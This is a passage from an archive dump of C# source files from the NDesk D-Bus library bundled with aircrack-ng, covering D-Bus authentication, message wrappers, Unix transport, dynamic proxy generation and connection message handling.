MethodReturnMessageWrapper ((IMethodReturnMessage) message); returnMessage.Exception = exception; returnMessage.ReturnValue = retVal; return returnMessage; } /* public override ObjRef CreateObjRef (Type ServerType) { throw new System.NotImplementedException (); } */ ~DProxy () { //FIXME: remove handlers/match rules here if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Finalization of " + busObject.Path + " not yet supported"); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Authentication.cs0000644000000000000000000000644411600013506024440 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Text; using System.Globalization; namespace NDesk.DBus.Authentication { enum ClientState { WaitingForData, WaitingForOK, WaitingForReject, } enum ServerState { WaitingForAuth, WaitingForData, WaitingForBegin, } class SaslClient { protected Connection conn; protected SaslClient () { } public SaslClient (Connection conn) { this.conn = conn; } public void Run () { StreamReader sr = new StreamReader (conn.Transport.Stream, Encoding.ASCII); StreamWriter sw = new StreamWriter (conn.Transport.Stream, Encoding.ASCII); sw.NewLine = "\r\n"; string str = conn.Transport.AuthString (); byte[] bs = Encoding.ASCII.GetBytes (str); string authStr = ToHex (bs); sw.WriteLine ("AUTH EXTERNAL {0}", authStr); sw.Flush (); string ok_rep = sr.ReadLine (); string[] parts; parts = ok_rep.Split (' '); if (parts.Length < 1 || parts[0] != "OK") throw new Exception ("Authentication error: AUTH EXTERNAL was not OK: \"" + ok_rep + "\""); /* string guid = parts[1]; byte[] guidData = FromHex (guid); uint unixTime = BitConverter.ToUInt32 (guidData, 0); Console.Error.WriteLine ("guid: " + guid + ", " + "unixTime: " + unixTime + " (" + UnixToDateTime (unixTime) + ")"); */ sw.WriteLine ("BEGIN"); sw.Flush (); } //From Mono.Unix.Native.NativeConvert //should these methods use long or (u)int? public static DateTime UnixToDateTime (long time) { DateTime LocalUnixEpoch = new DateTime (1970, 1, 1); TimeSpan LocalUtcOffset = TimeZone.CurrentTimeZone.GetUtcOffset (DateTime.UtcNow); return LocalUnixEpoch.AddSeconds ((double) time + LocalUtcOffset.TotalSeconds); } public static long DateTimeToUnix (DateTime time) { DateTime LocalUnixEpoch = new DateTime (1970, 1, 1); TimeSpan LocalUtcOffset = TimeZone.CurrentTimeZone.GetUtcOffset (DateTime.UtcNow); TimeSpan unixTime = time.Subtract (LocalUnixEpoch) - LocalUtcOffset; return (long) unixTime.TotalSeconds; } //From Mono.Security.Cryptography //Modified to output lowercase hex static public string ToHex (byte[] input) { if (input == null) return null; StringBuilder sb = new StringBuilder (input.Length * 2); foreach (byte b in input) { sb.Append (b.ToString ("x2", CultureInfo.InvariantCulture)); } return sb.ToString (); } //From Mono.Security.Cryptography static private byte FromHexChar (char c) { if ((c >= 'a') && (c <= 'f')) return (byte) (c - 'a' + 10); if ((c >= 'A') && (c <= 'F')) return (byte) (c - 'A' + 10); if ((c >= '0') && (c <= '9')) return (byte) (c - '0'); throw new ArgumentException ("Invalid hex char"); } //From Mono.Security.Cryptography static public byte[] FromHex (string hex) { if (hex == null) return null; if ((hex.Length & 0x1) == 0x1) throw new ArgumentException ("Length must be a multiple of 2"); byte[] result = new byte [hex.Length >> 1]; int n = 0; int i = 0; while (n < result.Length) { result [n] = (byte) (FromHexChar (hex [i++]) << 4); result [n++] += FromHexChar (hex [i++]); } return result; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Wrapper.cs0000644000000000000000000001165611600013506023102 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; namespace NDesk.DBus { //TODO: complete and use these wrapper classes //not sure exactly what I'm thinking but there seems to be sense here //FIXME: signature sending/receiving is currently ambiguous in this code //FIXME: in fact, these classes are totally broken and end up doing no-op, do not use without understanding the problem class MethodCall { public Message message = new Message (); public MethodCall (ObjectPath path, string @interface, string member, string destination, Signature signature) { message.Header.MessageType = MessageType.MethodCall; message.ReplyExpected = true; message.Header.Fields[FieldCode.Path] = path; if (@interface != null) message.Header.Fields[FieldCode.Interface] = @interface; message.Header.Fields[FieldCode.Member] = member; message.Header.Fields[FieldCode.Destination] = destination; //TODO: consider setting Sender here for p2p situations //this will allow us to remove the p2p hacks in MethodCall and Message #if PROTO_REPLY_SIGNATURE //TODO #endif //message.Header.Fields[FieldCode.Signature] = signature; //use the wrapper in Message because it checks for emptiness message.Signature = signature; } public MethodCall (Message message) { this.message = message; Path = (ObjectPath)message.Header.Fields[FieldCode.Path]; if (message.Header.Fields.ContainsKey (FieldCode.Interface)) Interface = (string)message.Header.Fields[FieldCode.Interface]; Member = (string)message.Header.Fields[FieldCode.Member]; Destination = (string)message.Header.Fields[FieldCode.Destination]; //TODO: filled by the bus so reliable, but not the case for p2p //so we make it optional here, but this needs some more thought if (message.Header.Fields.ContainsKey (FieldCode.Sender)) Sender = (string)message.Header.Fields[FieldCode.Sender]; #if PROTO_REPLY_SIGNATURE //TODO: note that an empty ReplySignature should really be treated differently to the field not existing! if (message.Header.Fields.ContainsKey (FieldCode.ReplySignature)) ReplySignature = (Signature)message.Header.Fields[FieldCode.ReplySignature]; else ReplySignature = Signature.Empty; #endif //Signature = (Signature)message.Header.Fields[FieldCode.Signature]; //use the wrapper in Message because it checks for emptiness Signature = message.Signature; } public ObjectPath Path; public string Interface; public string Member; public string Destination; public string Sender; #if PROTO_REPLY_SIGNATURE public Signature ReplySignature; #endif public Signature Signature; } class MethodReturn { public Message message = new Message (); public MethodReturn (uint reply_serial) { message.Header.MessageType = MessageType.MethodReturn; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.ReplySerial] = reply_serial; //signature optional? //message.Header.Fields[FieldCode.Signature] = signature; } public MethodReturn (Message message) { this.message = message; ReplySerial = (uint)message.Header.Fields[FieldCode.ReplySerial]; } public uint ReplySerial; } class Error { public Message message = new Message (); public Error (string error_name, uint reply_serial) { message.Header.MessageType = MessageType.Error; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.ErrorName] = error_name; message.Header.Fields[FieldCode.ReplySerial] = reply_serial; } public Error (Message message) { this.message = message; ErrorName = (string)message.Header.Fields[FieldCode.ErrorName]; ReplySerial = (uint)message.Header.Fields[FieldCode.ReplySerial]; //Signature = (Signature)message.Header.Fields[FieldCode.Signature]; } public string ErrorName; public uint ReplySerial; //public Signature Signature; } class Signal { public Message message = new Message (); public Signal (ObjectPath path, string @interface, string member) { message.Header.MessageType = MessageType.Signal; message.Header.Flags = HeaderFlag.NoReplyExpected | HeaderFlag.NoAutoStart; message.Header.Fields[FieldCode.Path] = path; message.Header.Fields[FieldCode.Interface] = @interface; message.Header.Fields[FieldCode.Member] = member; } public Signal (Message message) { this.message = message; Path = (ObjectPath)message.Header.Fields[FieldCode.Path]; Interface = (string)message.Header.Fields[FieldCode.Interface]; Member = (string)message.Header.Fields[FieldCode.Member]; if (message.Header.Fields.ContainsKey (FieldCode.Sender)) Sender = (string)message.Header.Fields[FieldCode.Sender]; } public ObjectPath Path; public string Interface; public string Member; public string Sender; } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/UnixTransport.cs0000644000000000000000000000142511600013506024313 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.IO; using Mono.Unix; namespace NDesk.DBus.Transports { abstract class UnixTransport : Transport { public override void Open (AddressEntry entry) { string path; bool abstr; if (entry.Properties.TryGetValue ("path", out path)) abstr = false; else if (entry.Properties.TryGetValue ("abstract", out path)) abstr = true; else throw new Exception ("No path specified for UNIX transport"); Open (path, abstr); } public override string AuthString () { long uid = UnixUserInfo.GetRealUserId (); return uid.ToString (); } public abstract void Open (string path, bool @abstract); } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Notifications.cs0000644000000000000000000000152011600013506024260 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using NDesk.DBus; using org.freedesktop.DBus; // Hand-written interfaces for bootstrapping namespace org.freedesktop { public struct ServerInformation { public string Name; public string Vendor; public string Version; public string SpecVersion; } [Interface ("org.freedesktop.Notifications")] public interface Notifications : Introspectable, Properties { ServerInformation GetServerInformation (); string[] GetCapabilities (); void CloseNotification (uint id); uint Notify (string app_name, uint id, string icon, string summary, string body, string[] actions, IDictionary hints, int timeout); } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/TypeImplementer.cs0000644000000000000000000002627311600013506024606 0ustar rootroot// Copyright 2007 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using System.Collections.Generic; namespace NDesk.DBus { static class TypeImplementer { static AssemblyBuilder asmB; static ModuleBuilder modB; static void InitHack () { if (asmB != null) return; asmB = AppDomain.CurrentDomain.DefineDynamicAssembly (new AssemblyName ("NDesk.DBus.Proxies"), AssemblyBuilderAccess.Run); modB = asmB.DefineDynamicModule ("ProxyModule"); } static Dictionary map = new Dictionary (); public static Type GetImplementation (Type declType) { Type retT; if (map.TryGetValue (declType, out retT)) return retT; InitHack (); TypeBuilder typeB = modB.DefineType (declType.Name + "Proxy", TypeAttributes.Class | TypeAttributes.Public, typeof (BusObject)); Implement (typeB, declType); foreach (Type iface in declType.GetInterfaces ()) Implement (typeB, iface); retT = typeB.CreateType (); map[declType] = retT; return retT; } public static void Implement (TypeBuilder typeB, Type iface) { typeB.AddInterfaceImplementation (iface); foreach (MethodInfo declMethod in iface.GetMethods ()) { ParameterInfo[] parms = declMethod.GetParameters (); Type[] parmTypes = new Type[parms.Length]; for (int i = 0 ; i < parms.Length ; i++) parmTypes[i] = parms[i].ParameterType; MethodAttributes attrs = declMethod.Attributes ^ MethodAttributes.Abstract; MethodBuilder method_builder = typeB.DefineMethod (declMethod.Name, attrs, declMethod.ReturnType, parmTypes); typeB.DefineMethodOverride (method_builder, declMethod); //define in/out/ref/name for each of the parameters for (int i = 0; i < parms.Length ; i++) method_builder.DefineParameter (i, parms[i].Attributes, parms[i].Name); ILGenerator ilg = method_builder.GetILGenerator (); GenHookupMethod (ilg, declMethod, sendMethodCallMethod, Mapper.GetInterfaceName (iface), declMethod.Name); } } static MethodInfo sendMethodCallMethod = typeof (BusObject).GetMethod ("SendMethodCall"); static MethodInfo sendSignalMethod = typeof (BusObject).GetMethod ("SendSignal"); static MethodInfo toggleSignalMethod = typeof (BusObject).GetMethod ("ToggleSignal"); static Dictionary hookup_methods = new Dictionary (); public static DynamicMethod GetHookupMethod (EventInfo ei) { DynamicMethod hookupMethod; if (hookup_methods.TryGetValue (ei, out hookupMethod)) return hookupMethod; if (ei.EventHandlerType.IsAssignableFrom (typeof (System.EventHandler))) Console.Error.WriteLine ("Warning: Cannot yet fully expose EventHandler and its subclasses: " + ei.EventHandlerType); MethodInfo declMethod = ei.EventHandlerType.GetMethod ("Invoke"); hookupMethod = GetHookupMethod (declMethod, sendSignalMethod, Mapper.GetInterfaceName (ei), ei.Name); hookup_methods[ei] = hookupMethod; return hookupMethod; } public static DynamicMethod GetHookupMethod (MethodInfo declMethod, MethodInfo invokeMethod, string @interface, string member) { ParameterInfo[] delegateParms = declMethod.GetParameters (); Type[] hookupParms = new Type[delegateParms.Length+1]; hookupParms[0] = typeof (BusObject); for (int i = 0; i < delegateParms.Length ; i++) hookupParms[i+1] = delegateParms[i].ParameterType; DynamicMethod hookupMethod = new DynamicMethod ("Handle" + member, declMethod.ReturnType, hookupParms, typeof (MessageWriter)); ILGenerator ilg = hookupMethod.GetILGenerator (); GenHookupMethod (ilg, declMethod, invokeMethod, @interface, member); return hookupMethod; } //static MethodInfo getMethodFromHandleMethod = typeof (MethodBase).GetMethod ("GetMethodFromHandle", new Type[] {typeof (RuntimeMethodHandle)}); static MethodInfo getTypeFromHandleMethod = typeof (Type).GetMethod ("GetTypeFromHandle", new Type[] {typeof (RuntimeTypeHandle)}); static ConstructorInfo argumentNullExceptionConstructor = typeof (ArgumentNullException).GetConstructor (new Type[] {typeof (string)}); static ConstructorInfo messageWriterConstructor = typeof (MessageWriter).GetConstructor (Type.EmptyTypes); static MethodInfo messageWriterWriteMethod = typeof (MessageWriter).GetMethod ("WriteComplex", new Type[] {typeof (object), typeof (Type)}); static MethodInfo messageWriterWritePad = typeof (MessageWriter).GetMethod ("WritePad", new Type[] {typeof (int)}); static Dictionary writeMethods = new Dictionary (); public static MethodInfo GetWriteMethod (Type t) { MethodInfo meth; if (writeMethods.TryGetValue (t, out meth)) return meth; /* Type tUnder = t; if (t.IsEnum) tUnder = Enum.GetUnderlyingType (t); meth = typeof (MessageWriter).GetMethod ("Write", BindingFlags.ExactBinding | BindingFlags.Instance | BindingFlags.Public, null, new Type[] {tUnder}, null); if (meth != null) { writeMethods[t] = meth; return meth; } */ DynamicMethod method_builder = new DynamicMethod ("Write" + t.Name, typeof (void), new Type[] {typeof (MessageWriter), t}, typeof (MessageWriter)); ILGenerator ilg = method_builder.GetILGenerator (); ilg.Emit (OpCodes.Ldarg_0); ilg.Emit (OpCodes.Ldarg_1); GenMarshalWrite (ilg, t); ilg.Emit (OpCodes.Ret); meth = method_builder; writeMethods[t] = meth; return meth; } //takes the Writer instance and the value of Type t off the stack, writes it public static void GenWriter (ILGenerator ilg, Type t) { Type tUnder = t; //bool imprecise = false; if (t.IsEnum) { tUnder = Enum.GetUnderlyingType (t); //imprecise = true; } //MethodInfo exactWriteMethod = typeof (MessageWriter).GetMethod ("Write", new Type[] {tUnder}); MethodInfo exactWriteMethod = typeof (MessageWriter).GetMethod ("Write", BindingFlags.ExactBinding | BindingFlags.Instance | BindingFlags.Public, null, new Type[] {tUnder}, null); //ExactBinding InvokeMethod if (exactWriteMethod != null) { //if (imprecise) // ilg.Emit (OpCodes.Castclass, tUnder); ilg.Emit (exactWriteMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, exactWriteMethod); } else { //..boxed if necessary if (t.IsValueType) ilg.Emit (OpCodes.Box, t); //the Type parameter ilg.Emit (OpCodes.Ldtoken, t); ilg.Emit (OpCodes.Call, getTypeFromHandleMethod); ilg.Emit (messageWriterWriteMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, messageWriterWriteMethod); } } //takes a writer and a reference to an object off the stack public static void GenMarshalWrite (ILGenerator ilg, Type type) { LocalBuilder val = ilg.DeclareLocal (type); ilg.Emit (OpCodes.Stloc, val); LocalBuilder writer = ilg.DeclareLocal (typeof (MessageWriter)); ilg.Emit (OpCodes.Stloc, writer); FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); //align to 8 for structs ilg.Emit (OpCodes.Ldloc, writer); ilg.Emit (OpCodes.Ldc_I4, 8); ilg.Emit (messageWriterWritePad.IsFinal ? OpCodes.Call : OpCodes.Callvirt, messageWriterWritePad); foreach (FieldInfo fi in fis) { Type t = fi.FieldType; //the Writer to write to ilg.Emit (OpCodes.Ldloc, writer); //the object parameter ilg.Emit (OpCodes.Ldloc, val); ilg.Emit (OpCodes.Ldfld, fi); GenWriter (ilg, t); } } public static void GenHookupMethod (ILGenerator ilg, MethodInfo declMethod, MethodInfo invokeMethod, string @interface, string member) { ParameterInfo[] parms = declMethod.GetParameters (); Type retType = declMethod.ReturnType; //the BusObject instance ilg.Emit (OpCodes.Ldarg_0); //MethodInfo /* ilg.Emit (OpCodes.Ldtoken, declMethod); ilg.Emit (OpCodes.Call, getMethodFromHandleMethod); */ //interface ilg.Emit (OpCodes.Ldstr, @interface); //special case event add/remove methods if (declMethod.IsSpecialName && (declMethod.Name.StartsWith ("add_") || declMethod.Name.StartsWith ("remove_"))) { string[] parts = declMethod.Name.Split (new char[]{'_'}, 2); string ename = parts[1]; //Delegate dlg = (Delegate)inArgs[0]; bool adding = parts[0] == "add"; ilg.Emit (OpCodes.Ldstr, ename); ilg.Emit (OpCodes.Ldarg_1); ilg.Emit (OpCodes.Ldc_I4, adding ? 1 : 0); ilg.Emit (OpCodes.Tailcall); ilg.Emit (toggleSignalMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, toggleSignalMethod); ilg.Emit (OpCodes.Ret); return; } //property accessor mapping if (declMethod.IsSpecialName) { if (member.StartsWith ("get_")) member = "Get" + member.Substring (4); else if (member.StartsWith ("set_")) member = "Set" + member.Substring (4); } //member ilg.Emit (OpCodes.Ldstr, member); //signature Signature inSig = Signature.Empty; Signature outSig = Signature.Empty; if (!declMethod.IsSpecialName) foreach (ParameterInfo parm in parms) { if (parm.IsOut) outSig += Signature.GetSig (parm.ParameterType.GetElementType ()); else inSig += Signature.GetSig (parm.ParameterType); } ilg.Emit (OpCodes.Ldstr, inSig.Value); LocalBuilder writer = ilg.DeclareLocal (typeof (MessageWriter)); ilg.Emit (OpCodes.Newobj, messageWriterConstructor); ilg.Emit (OpCodes.Stloc, writer); foreach (ParameterInfo parm in parms) { if (parm.IsOut) continue; Type t = parm.ParameterType; //offset by one to account for "this" int i = parm.Position + 1; //null checking of parameters (but not their recursive contents) if (!t.IsValueType) { Label notNull = ilg.DefineLabel (); //if the value is null... ilg.Emit (OpCodes.Ldarg, i); ilg.Emit (OpCodes.Brtrue_S, notNull); //...throw Exception string paramName = parm.Name; ilg.Emit (OpCodes.Ldstr, paramName); ilg.Emit (OpCodes.Newobj, argumentNullExceptionConstructor); ilg.Emit (OpCodes.Throw); //was not null, so all is well ilg.MarkLabel (notNull); } ilg.Emit (OpCodes.Ldloc, writer); //the parameter ilg.Emit (OpCodes.Ldarg, i); GenWriter (ilg, t); } ilg.Emit (OpCodes.Ldloc, writer); //the expected return Type ilg.Emit (OpCodes.Ldtoken, retType); ilg.Emit (OpCodes.Call, getTypeFromHandleMethod); LocalBuilder exc = ilg.DeclareLocal (typeof (Exception)); ilg.Emit (OpCodes.Ldloca_S, exc); //make the call ilg.Emit (invokeMethod.IsFinal ? OpCodes.Call : OpCodes.Callvirt, invokeMethod); //define a label we'll use to deal with a non-null Exception Label noErr = ilg.DefineLabel (); //if the out Exception is not null... ilg.Emit (OpCodes.Ldloc, exc); ilg.Emit (OpCodes.Brfalse_S, noErr); //...throw it. ilg.Emit (OpCodes.Ldloc, exc); ilg.Emit (OpCodes.Throw); //Exception was null, so all is well ilg.MarkLabel (noErr); if (retType == typeof (void)) { //we aren't expecting a return value, so throw away the (hopefully) null return if (invokeMethod.ReturnType != typeof (void)) ilg.Emit (OpCodes.Pop); } else { if (retType.IsValueType) ilg.Emit (OpCodes.Unbox_Any, retType); else ilg.Emit (OpCodes.Castclass, retType); } ilg.Emit (OpCodes.Ret); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/ExportObject.cs0000644000000000000000000000525111600013506024064 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using org.freedesktop.DBus; namespace NDesk.DBus { //TODO: perhaps ExportObject should not derive from BusObject internal class ExportObject : BusObject //, Peer { public readonly object obj; public ExportObject (Connection conn, ObjectPath object_path, object obj) : base (conn, null, object_path) { this.obj = obj; } //maybe add checks to make sure this is not called more than once //it's a bit silly as a property public bool Registered { set { Type type = obj.GetType (); foreach (MemberInfo mi in Mapper.GetPublicMembers (type)) { EventInfo ei = mi as EventInfo; if (ei == null) continue; Delegate dlg = GetHookupDelegate (ei); if (value) ei.AddEventHandler (obj, dlg); else ei.RemoveEventHandler (obj, dlg); } } } public void HandleMethodCall (MethodCall method_call) { Type type = obj.GetType (); //object retObj = type.InvokeMember (msg.Member, BindingFlags.InvokeMethod, null, obj, MessageHelper.GetDynamicValues (msg)); //TODO: there is no member name mapping for properties etc. yet MethodInfo mi = Mapper.GetMethod (type, method_call); if (mi == null) { conn.MaybeSendUnknownMethodError (method_call); return; } object retObj = null; object[] parmValues = MessageHelper.GetDynamicValues (method_call.message, mi.GetParameters ()); try { retObj = mi.Invoke (obj, parmValues); } catch (TargetInvocationException e) { if (!method_call.message.ReplyExpected) return; Exception ie = e.InnerException; //TODO: complete exception sending support Error error = new Error (Mapper.GetInterfaceName (ie.GetType ()), method_call.message.Header.Serial); error.message.Signature = new Signature (DType.String); MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.connection = conn; writer.Write (ie.Message); error.message.Body = writer.ToArray (); //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) error.message.Header.Fields[FieldCode.Destination] = method_call.Sender; conn.Send (error.message); return; } if (method_call.message.ReplyExpected) { Message reply = MessageHelper.ConstructDynamicReply (method_call, mi, retObj, parmValues); conn.Send (reply); } } /* public void Ping () { } public string GetMachineId () { //TODO: implement this return String.Empty; } */ } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Connection.cs0000644000000000000000000003442011600013506023553 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.IO; using System.Threading; using System.Reflection; namespace NDesk.DBus { using Authentication; using Transports; public partial class Connection { //TODO: reconsider this field Stream ns = null; Transport transport; internal Transport Transport { get { return transport; } set { transport = value; } } protected Connection () {} internal Connection (Transport transport) { this.transport = transport; transport.Connection = this; //TODO: clean this bit up ns = transport.Stream; } //should this be public? internal Connection (string address) { OpenPrivate (address); Authenticate (); } /* bool isConnected = false; public bool IsConnected { get { return isConnected; } } */ //should we do connection sharing here? public static Connection Open (string address) { Connection conn = new Connection (); conn.OpenPrivate (address); conn.Authenticate (); return conn; } internal void OpenPrivate (string address) { if (address == null) throw new ArgumentNullException ("address"); AddressEntry[] entries = Address.Parse (address); if (entries.Length == 0) throw new Exception ("No addresses were found"); //TODO: try alternative addresses if needed AddressEntry entry = entries[0]; transport = Transport.Create (entry); //TODO: clean this bit up ns = transport.Stream; } void Authenticate () { if (transport != null) transport.WriteCred (); SaslClient auth = new SaslClient (this); auth.Run (); isAuthenticated = true; } bool isAuthenticated = false; internal bool IsAuthenticated { get { return isAuthenticated; } } //Interlocked.Increment() handles the overflow condition for uint correctly, so it's ok to store the value as an int but cast it to uint int serial = 0; uint GenerateSerial () { //return ++serial; return (uint)Interlocked.Increment (ref serial); } internal Message SendWithReplyAndBlock (Message msg) { PendingCall pending = SendWithReply (msg); return pending.Reply; } internal PendingCall SendWithReply (Message msg) { msg.ReplyExpected = true; msg.Header.Serial = GenerateSerial (); //TODO: throttle the maximum number of concurrent PendingCalls PendingCall pending = new PendingCall (this); pendingCalls[msg.Header.Serial] = pending; WriteMessage (msg); return pending; } internal uint Send (Message msg) { msg.Header.Serial = GenerateSerial (); WriteMessage (msg); //Outbound.Enqueue (msg); //temporary //Flush (); return msg.Header.Serial; } object writeLock = new object (); internal void WriteMessage (Message msg) { byte[] HeaderData = msg.GetHeaderData (); long msgLength = HeaderData.Length + (msg.Body != null ? msg.Body.Length : 0); if (msgLength > Protocol.MaxMessageLength) throw new Exception ("Message length " + msgLength + " exceeds maximum allowed " + Protocol.MaxMessageLength + " bytes"); lock (writeLock) { ns.Write (HeaderData, 0, HeaderData.Length); if (msg.Body != null && msg.Body.Length != 0) ns.Write (msg.Body, 0, msg.Body.Length); } } Queue Inbound = new Queue (); /* Queue Outbound = new Queue (); public void Flush () { //should just iterate the enumerator here while (Outbound.Count != 0) { Message msg = Outbound.Dequeue (); WriteMessage (msg); } } public bool ReadWrite (int timeout_milliseconds) { //TODO return true; } public bool ReadWrite () { return ReadWrite (-1); } public bool Dispatch () { //TODO Message msg = Inbound.Dequeue (); //HandleMessage (msg); return true; } public bool ReadWriteDispatch (int timeout_milliseconds) { //TODO return Dispatch (); } public bool ReadWriteDispatch () { return ReadWriteDispatch (-1); } */ internal Message ReadMessage () { byte[] header; byte[] body = null; int read; //16 bytes is the size of the fixed part of the header byte[] hbuf = new byte[16]; read = ns.Read (hbuf, 0, 16); if (read == 0) return null; if (read != 16) throw new Exception ("Header read length mismatch: " + read + " of expected " + "16"); EndianFlag endianness = (EndianFlag)hbuf[0]; MessageReader reader = new MessageReader (endianness, hbuf); //discard the endian byte as we've already read it reader.ReadByte (); //discard message type and flags, which we don't care about here reader.ReadByte (); reader.ReadByte (); byte version = reader.ReadByte (); if (version < Protocol.MinVersion || version > Protocol.MaxVersion) throw new NotSupportedException ("Protocol version '" + version.ToString () + "' is not supported"); if (Protocol.Verbose) if (version != Protocol.Version) Console.Error.WriteLine ("Warning: Protocol version '" + version.ToString () + "' is not explicitly supported but may be compatible"); uint bodyLength = reader.ReadUInt32 (); //discard serial reader.ReadUInt32 (); uint headerLength = reader.ReadUInt32 (); //this check may become relevant if a future version of the protocol allows larger messages /* if (bodyLength > Int32.MaxValue || headerLength > Int32.MaxValue) throw new NotImplementedException ("Long messages are not yet supported"); */ int bodyLen = (int)bodyLength; int toRead = (int)headerLength; //we fixup to include the padding following the header toRead = Protocol.Padded (toRead, 8); long msgLength = toRead + bodyLen; if (msgLength > Protocol.MaxMessageLength) throw new Exception ("Message length " + msgLength + " exceeds maximum allowed " + Protocol.MaxMessageLength + " bytes"); header = new byte[16 + toRead]; Array.Copy (hbuf, header, 16); read = ns.Read (header, 16, toRead); if (read != toRead) throw new Exception ("Message header length mismatch: " + read + " of expected " + toRead); //read the body if (bodyLen != 0) { body = new byte[bodyLen]; read = ns.Read (body, 0, bodyLen); if (read != bodyLen) throw new Exception ("Message body length mismatch: " + read + " of expected " + bodyLen); } Message msg = new Message (); msg.Connection = this; msg.Body = body; msg.SetHeaderData (header); return msg; } //temporary hack internal void DispatchSignals () { lock (Inbound) { while (Inbound.Count != 0) { Message msg = Inbound.Dequeue (); HandleSignal (msg); } } } internal Thread mainThread = Thread.CurrentThread; //temporary hack public void Iterate () { mainThread = Thread.CurrentThread; //Message msg = Inbound.Dequeue (); Message msg = ReadMessage (); HandleMessage (msg); DispatchSignals (); } internal void HandleMessage (Message msg) { //TODO: support disconnection situations properly and move this check elsewhere if (msg == null) throw new ArgumentNullException ("msg", "Cannot handle a null message; maybe the bus was disconnected"); { object field_value; if (msg.Header.Fields.TryGetValue (FieldCode.ReplySerial, out field_value)) { uint reply_serial = (uint)field_value; PendingCall pending; if (pendingCalls.TryGetValue (reply_serial, out pending)) { if (pendingCalls.Remove (reply_serial)) pending.Reply = msg; return; } //we discard reply messages with no corresponding PendingCall if (Protocol.Verbose) Console.Error.WriteLine ("Unexpected reply message received: MessageType='" + msg.Header.MessageType + "', ReplySerial=" + reply_serial); return; } } switch (msg.Header.MessageType) { case MessageType.MethodCall: MethodCall method_call = new MethodCall (msg); HandleMethodCall (method_call); break; case MessageType.Signal: //HandleSignal (msg); lock (Inbound) Inbound.Enqueue (msg); break; case MessageType.Error: //TODO: better exception handling Error error = new Error (msg); string errMsg = String.Empty; if (msg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (msg); errMsg = reader.ReadString (); } //throw new Exception ("Remote Error: Signature='" + msg.Signature.Value + "' " + error.ErrorName + ": " + errMsg); //if (Protocol.Verbose) Console.Error.WriteLine ("Remote Error: Signature='" + msg.Signature.Value + "' " + error.ErrorName + ": " + errMsg); break; case MessageType.Invalid: default: throw new Exception ("Invalid message received: MessageType='" + msg.Header.MessageType + "'"); } } Dictionary pendingCalls = new Dictionary (); //this might need reworking with MulticastDelegate internal void HandleSignal (Message msg) { Signal signal = new Signal (msg); //TODO: this is a hack, not necessary when MatchRule is complete MatchRule rule = new MatchRule (); rule.MessageType = MessageType.Signal; rule.Interface = signal.Interface; rule.Member = signal.Member; rule.Path = signal.Path; Delegate dlg; if (Handlers.TryGetValue (rule, out dlg)) { //dlg.DynamicInvoke (GetDynamicValues (msg)); MethodInfo mi = dlg.Method; //signals have no return value dlg.DynamicInvoke (MessageHelper.GetDynamicValues (msg, mi.GetParameters ())); } else { //TODO: how should we handle this condition? sending an Error may not be appropriate in this case if (Protocol.Verbose) Console.Error.WriteLine ("Warning: No signal handler for " + signal.Member); } } internal Dictionary Handlers = new Dictionary (); //very messy internal void MaybeSendUnknownMethodError (MethodCall method_call) { Message msg = MessageHelper.CreateUnknownMethodError (method_call); if (msg != null) Send (msg); } //not particularly efficient and needs to be generalized internal void HandleMethodCall (MethodCall method_call) { //TODO: Ping and Introspect need to be abstracted and moved somewhere more appropriate once message filter infrastructure is complete //FIXME: these special cases are slightly broken for the case where the member but not the interface is specified in the message if (method_call.Interface == "org.freedesktop.DBus.Peer" && method_call.Member == "Ping") { Message reply = MessageHelper.ConstructReply (method_call); Send (reply); return; } if (method_call.Interface == "org.freedesktop.DBus.Introspectable" && method_call.Member == "Introspect") { Introspector intro = new Introspector (); intro.root_path = method_call.Path; intro.WriteStart (); //FIXME: do this properly //this is messy and inefficient List linkNodes = new List (); int depth = method_call.Path.Decomposed.Length; foreach (ObjectPath pth in RegisteredObjects.Keys) { if (pth.Value == (method_call.Path.Value)) { ExportObject exo = (ExportObject)RegisteredObjects[pth]; intro.WriteType (exo.obj.GetType ()); } else { for (ObjectPath cur = pth ; cur != null ; cur = cur.Parent) { if (cur.Value == method_call.Path.Value) { string linkNode = pth.Decomposed[depth]; if (!linkNodes.Contains (linkNode)) { intro.WriteNode (linkNode); linkNodes.Add (linkNode); } } } } } intro.WriteEnd (); Message reply = MessageHelper.ConstructReply (method_call, intro.xml); Send (reply); return; } BusObject bo; if (RegisteredObjects.TryGetValue (method_call.Path, out bo)) { ExportObject eo = (ExportObject)bo; eo.HandleMethodCall (method_call); } else { MaybeSendUnknownMethodError (method_call); } } Dictionary RegisteredObjects = new Dictionary (); //FIXME: this shouldn't be part of the core API //that also applies to much of the other object mapping code public object GetObject (Type type, string bus_name, ObjectPath path) { //if (type == 